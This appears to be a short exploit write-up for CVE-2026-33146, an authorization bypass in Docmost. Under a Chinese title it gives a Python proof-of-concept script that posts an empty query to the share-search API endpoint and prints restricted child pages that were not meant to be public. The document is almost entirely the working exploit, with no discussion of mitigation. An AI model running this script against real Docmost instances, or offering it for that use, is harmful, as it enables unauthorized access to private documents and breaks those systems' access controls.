CVE-2026-33146 Docmost授权绕过漏洞

import requests # Target URL for the vulnerable search endpoint target_url = "https://<docmost-instance>/api/search/share-search" # Payload to search for restricted content # The vulnerability allows enumerating child pages not meant for public view payload = { "query": "" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, json=payload) if response.status_code == 200: data = response.json() # Check if sensitive data (restricted child pages) is returned print("[+] Vulnerability confirmed. Data retrieved:") print(data) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] Error occurred:", e)